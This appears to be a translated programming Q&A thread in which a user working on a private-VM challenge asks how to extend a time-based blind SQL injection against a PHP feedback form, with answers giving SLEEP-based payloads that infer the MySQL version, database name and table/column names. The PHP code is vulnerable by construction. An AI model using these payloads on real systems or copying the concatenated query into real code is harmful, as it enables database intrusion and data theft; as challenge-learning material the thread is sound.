Tengo una aplicación web simple que permite publicar un mensaje en una base de datos MySQL. Mi desafío es obtener toda la información sobre esa base de datos. Desafortunadamente, no hay salida, así que tengo que hacer una inyección ciega basada en el tiempo.

Esta carga útil funciona y la respuesta tarda 5 segundos en llegar al cliente.

' RLIKE SLEEP(5) AND '1'='1

De alguna manera tengo que reemplazar el '1'='1 para poder buscar nombres de tablas o usuarios.

¿¿Alguna idea??

A continuación se muestra el código con la consulta vulnerable.

<?php
if (isset($_POST['feedback'])) {
    $id = $_POST['feedback'];
    $query = "INSERT INTO `hackdb`.`feedback` (`id` ,`feedback`, `feedback_read`, `created` ,`receiver`) VALUES (NULL,'".$_POST['feedback']."', '0', CURRENT_TIMESTAMP, '17')";
    if ($result = $mysqli->query($query)) {
        //echo "Done";  
    } else {
        //echo $mysqli->error;
    }
    echo "Thank you for your feedback! We'll contact you later.";
} else {
    echo "";
}
?>

(Descargo de responsabilidad: este es un desafío y estoy trabajando en un servidor privado dentro de una máquina virtual. No ocurre nada poco ético aquí)

-3
Michael Pomogajko 13 nov. 2017 a las 19:57

2 respuestas

La mejor respuesta

Al mirar su código, solo los comentarios de campo son vulnerables a los vectores de inyección SQL ciegos basados en el tiempo.

Crear base de datos / crear tabla

CREATE DATABASE IF NOT EXISTS hackdb;

CREATE TABLE IF NOT EXISTS feedback (
  feedback VARCHAR(255)
);

Puede inyectar usando (SELECT ...) en la columna de comentarios porque esto es SQL válido.

Consulta

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 1)
)  

Resultado

1 row(s) affected

Execution Time : 0.013 sec
Transfer Time  : 0 sec
Total Time     : 0.014 sec

Pruebe el vector de inyección SQL ciego basado en el tiempo.

Consulta

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT SLEEP(5))
)  

Resultado

1 row(s) affected

Execution Time : 5.717 sec
Transfer Time  : 0 sec
Total Time     : 5.718 sec

Y estamos listos para irnos. Averigüemos la versión de la base de datos.
Podemos usar la función VERSION () de MySQL para eso

Consulta

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 
   CASE
     WHEN VERSION() LIKE '5.1%'
     THEN SLEEP(5)
    ELSE 0
   END
  FROM 
  DUAL 
 )
)   

Resultado

1 row(s) affected

Execution Time : 0.014 sec
Transfer Time  : 0 sec
Total Time     : 0.014 sec

Sin bingo

Consulta

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 
   CASE
     WHEN VERSION() LIKE '5.7%'
     THEN SLEEP(5)
    ELSE 0
   END
  FROM 
  DUAL 
 )
)  

Resultado

1 row(s) affected

Execution Time : 5.733 sec
Transfer Time  : 0 sec
Total Time     : 5.734 sec

Bingo.

Ahora vamos a encontrar la base de datos en uso. Podemos usar la función DATABASE () de MySQL para eso.

Consulta

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 
   CASE
    WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 's%')
    THEN SLEEP(5)
    ELSE 0
   END
  FROM 
 DUAL
 )
)  

Resultado

1 row(s) affected

Execution Time : 0.014 sec
Transfer Time  : 0 sec
Total Time     : 0.015 sec

Sin bingo

Consulta

INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 
   CASE
    WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 'h%')
    THEN SLEEP(5)
    ELSE 0
   END
  FROM 
 DUAL
 )
)  

Resultado

1 row(s) affected

Execution Time : 5.715 sec
Transfer Time  : 0 sec
Total Time     : 5.716 sec

Bingo

Ahora puede agregar un segundo carácter en la parte LIKE y así sucesivamente.

Le he dado algunos vectores de inyección SQL ciegos basados en el tiempo básicos.
Depende de usted encontrar las tablas en la base de datos
No quiero estropear tu desafío por completo.

0
Raymond Nijland 6 ago. 2019 a las 21:45

Tabla e inserto para demostrar posibles cargas útiles

CREATE TABLE foo_test
(id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY
, blah VARCHAR(100)
) ;

INSERT INTO foo_test (id,blah) VALUES (NULL,'payload') ;

Algunos reemplazos de demostración para payload

nombre de tabla / vista no válido: obtiene una respuesta rápida
carga útil = 1' AND (SELECT 1 FROM feedback WHERE 0=1) AND SLEEP(5) AND '1
Tiempo de ejecución: 0 segundos
Código de error: 1146
La tabla 'test.feedback' no existe

buen nombre de la mesa: más de 5 segundos
carga útil = 1' AND (SELECT 1 FROM foo WHERE 0=1) AND SLEEP(5) AND '1
Tiempo de ejecución: 5,198 segundos
1 fila (s) afectadas

nombre de columna incorrecto: respuesta rápida
carga útil = 1' AND (SELECT bar FROM foo WHERE 0=1) AND SLEEP(5) AND '1
Tiempo de ejecución: 0 segundos
Código de error: 1054
Columna "barra" desconocida en "lista de campos"

0
spencer7593 14 nov. 2017 a las 14:57